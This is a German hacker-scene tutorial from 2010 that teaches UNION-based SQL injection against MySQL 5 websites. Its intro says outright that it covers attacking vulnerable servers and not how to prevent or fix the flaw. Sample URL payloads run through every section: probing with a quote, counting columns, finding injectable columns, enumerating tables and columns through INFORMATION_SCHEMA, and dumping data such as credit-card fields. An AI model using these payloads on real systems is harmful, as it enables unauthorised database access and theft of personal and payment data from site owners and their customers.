|=-----------------------------------------=|
|=----------=[SQL Injection Paper]=--------=|
|=---------=[written by KERA/n3xt]=--------=|
|=------=[31.12.10 - Happy new year!]=-----=|
|=-----------------------------------------=|
#Content
[0x00] - Intro
[0x01] - Was ist eine Datenbank?
[0x02] - Was ist eine SQL Injection?
[0x03] - vulnerability check
[0x04] - Trenn und Kommentarzeichen
[0x05] - Columnanzahl herausfinden
[0x06] - Angreifbare Columns herausfinden
[0x07] - MySQL Version herausfinden
[0x08] - Datenbanknamen herausfinden
[0x09] - Tabellenmamen herausfinden
[0x10] - Spaltennamen herausfinden
[0x11] - Daten ausgeben lassen
[0x12] - Tipps
[0x13] - Outro
########################################
--[0x00]-- Intro:
In diesem Tutorial werde ich euch zeigen
wie ihr eine SQL injection auf angreifbare
Server ausführt.
Hier geht es weder darum wie eine entsteht
noch wie man sie fixxen kann!
So, nun noch viel Spaß.
#######################################
--[0x01]-- Was ist eine Datenbank?
Naja eine Datenbank(eng: Database)
ist nunmal eine Bank von Daten. In
MySQL Datenbanken werden Tabellen gespeichert.
Diese Tabellen sehen so aus
____ ________ _____
|Name|nickname| CC |
|-------------------
|hans| KERA |12345|
|pete| n3xt |65366|
---- -------- -----
########################################
--[0x02]-- Was ist eine SQL Injection?
Beispiel:
target/produkte/katerogie.php?id=1337
SQL Query:SELECT produkt,preis FROM katerogie where id = 1337
SQLi :
target/produkte/katerogie.php?id=1337/**/UNION/**/SELET/**/CC/**/FROM/**/SHOP.DATEN+--+
SQL QUery:SELECT CC FROM Daten where id = 1337
#########################################
--[0x03]-- vulnerability check
"Vulns" kommen oft, wie in meinem Beispie, in ID's die im GET-Parameter übergeben werden vor.
Es sind auch SQL Injections über POST-Parameter möglich, auf diese will ich aber in diesem
Tutorial nicht eingehen. (Ich empfehle hierzu das SQLi Tutorial was in Video2Brain PHP enthalten ist!)
Wenn man nun ein Hochkomma hinter die ID hängt
und ein SQL Error ausgegeben wird haben wir eine "Vuln-Stelle" gefunden.
Wenn die Seite wieder normal ausgegeben wird ist sie nicht angreifbar.
########################################
--[0x04]-- Trenn/End -zeichen
Mann muss zwischen den Befehlen den Sourcecode auskommentieren,
das kann man mit "/**/"," " und mit "+".
Am Ende der URL brauchen wir dann auch nochmal ein "#" "+--+" oder "--"
#######################################
--[0x05]-- Columnanzahl herausfinden
Um die Anzahl der Columns herauszufinden benutzen wir den Befehl "ORDER BY",
welcher eigentlich dazu benutzt wird um zu sortieren.
Wir verlangen also z.B. 3 Spalten von der ID 1337, und die Seite wird ohne Fehler
ausgegeben. Das heißt die Seite hat 3 oder mehrere Spalten.
Wenn wir 5 eingeben wird ein SQL Error angezeigt,
Wir probieren es nochmal mit 4 und die Seite wird wieder ohne Fehler angezeigt, dass heißt
wir haben 4 Spalten in ID 1337.
Beispiel_richtig : target/lala.php?id=1337/**/ORDER/**/BY/**/4+--+
#####################################
--[0x06]-- Angreifbare Columns herausfinden
Oben gennantes tuen wir mit dem Befehl UNION SELECT.
Nach UNION SELECT müssen die Columns hintereinander angegeben werden.
Beispiel:target/kaka.php?id=1337+UNION+SELECT+1,2,3,4#
Wenn uns nun keine deutlich sehbare Zahl ausgegeben wird müssen wir den
Query unterbrechen, dass tuen wir in dem wir ein minus vor die ID schreiben
oder sie durch eine Zahl die nicht existiert ersetzen.
Beispiel:target/kaka.php?id=-1337+UNION+SELECT+1,2,3,4#
####################################
--[0x07]-- MySQL Version herausfinden
Die MySQL Version ist wichtig, da dieses tutorial nur für Version 5.x ist
Unter Version 5.x muss man die Tabellennamen raten.
Wir können den angreifbaren column nun durch "@@VERSION" oder
"Version()" ersetzen und uns wird die Version ausgegeben.
Beispiel:target/pipi.php?id=6077/**/UNION/**/SELECT/**/1,@@VERSION,2,3,4--
####################################
--[0x08]-- Datenbanknamen herausfinden
Hier das selbe wie bei der Version.
Nur, dass wir statt "@@VERSION/VERSION()", "Database()" nehmen.
Achtung "@@DATABASE" klappt nicht!
####################################
--[0x09]-- Tabellennamen herausfinden
Nun müssen Wir schon bisschen mehr tippen.
Wir ersetzen "group_concat(table_name)", was da passiert sollte
selbsterklärend sein.
"group_concat", benutzen wir hier um mehrere Tabellen aufeinmal ausgeben zu lassen.
Nun muss MySQL natürlich wissen von wo wir table namen haben wollen.
Nun, wir wollen sie von der Tabelle "Tables" aus "Information_Schema", welche bei MySQL v5 immer existiert.
Dazu hängen wir ans ende der URL (Nicht vor das #,+--+ oder --) folgendes:
"/**/FROM/**/INFORMATION/**/SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=0xHex+--+"
"Hex" müssen wir durch den Hexwert des Datenbanknamens ersetzen.
Ihr könnt euch dafür etweder selber was coden, einen online decoder oder mein script benutzen.
Mein Script findet ihr in der Perl Section.
###################################
--[0x10]-- Spaltennamen herausfinden
In Tabellen gibt es eben auch Spalten und diese müssen wir uns ausgeben lassen.
Dazu erstezen wir "group_concat(table_name)" durch "group_concat(column_name)",
"/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/" durch "/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/",
"TABLE_SCHEMA=0x" durch "TABLE_NAME=0x" und den Hex des Databasename durch den Hex des Tabellennamen.
Wir sollten nun die Spaltenamen sehen.
Beispiel : target/popo.php?id=6077/**/UNION/**/SELECT/**/1,group_concat(column_name),3,4/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0xHEX+--+
#################################
--[0x11]-- Daten ausgeben lassen
Tja, am Ende des Tages wollen Wir uns eben noch die Daten ausgeben lassen.
Dazu ersetzen Wir "group_concat(column_name)" durch "group_concat(spaltename1,spaltename2)"
und "/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0xHEX"
durch "/**/FROM/**/DATENBANK.TABELLENNAME+--+"
Datenbank steht hierbei für den Namen der Datenbank und Tabellennamen für den der Tabellen. (;
################################
--[0x12]-- Tipps
So jetzt noch paar Tipps:
Wenn etwas nicht klappt versucht mal andere Kommentarzeichen et cetera.
Lasst euch mit "0x3a" einen Doppelpunkt zwischen den Daten ausgeben.
Wenn ihr witzig seit lass euch mit "0xHEXNAME" euren Nicknamen ausgeben.
###############################
--[0x13]-- Outro
So das war's!
Ich hoffe euch hat dieses Paper/Tutorial gefallen und ihr hab was gelernt.
Dises Paper wurde Nachts geschrieben und ich war einfach totmüde und wollte es nicht am nächsten Tag beenden.
Tja, ich hoffe es sind nicht zuviele Rechschreibfehler drinne. :rolleyes:
Thanks to Florian,CaNN1337,David,Night,1x33x7,HBA Crew and J0hn.X3r for his tutorials!
##############################
Quelle : http://guh.isgreat.org
Ich beschäftige mich größtenteils mit aktuellen Nachrichten bzgl. Hacking, Cracking & Security, sowie Globalen und Scene News. Wir haben uns nicht unterkriegen lassen und sind trotz vieler Drohungen, Ddos Attacken usw. seit August 2010 online. Die Privatsphäre unserer Leser liegt uns sehr am Herzen, weswegen wir keinerlei Nutzerdaten (in Form von IP Adressen) unserer Nutzer in der Datenbank speichern. Falls Sie Fragen, Anregungen oder Kritik haben, schicken Sie mir doch einfach eine Nachricht. Weitere Kontaktmöglichkeiten finden Sie auf yakuza112.org.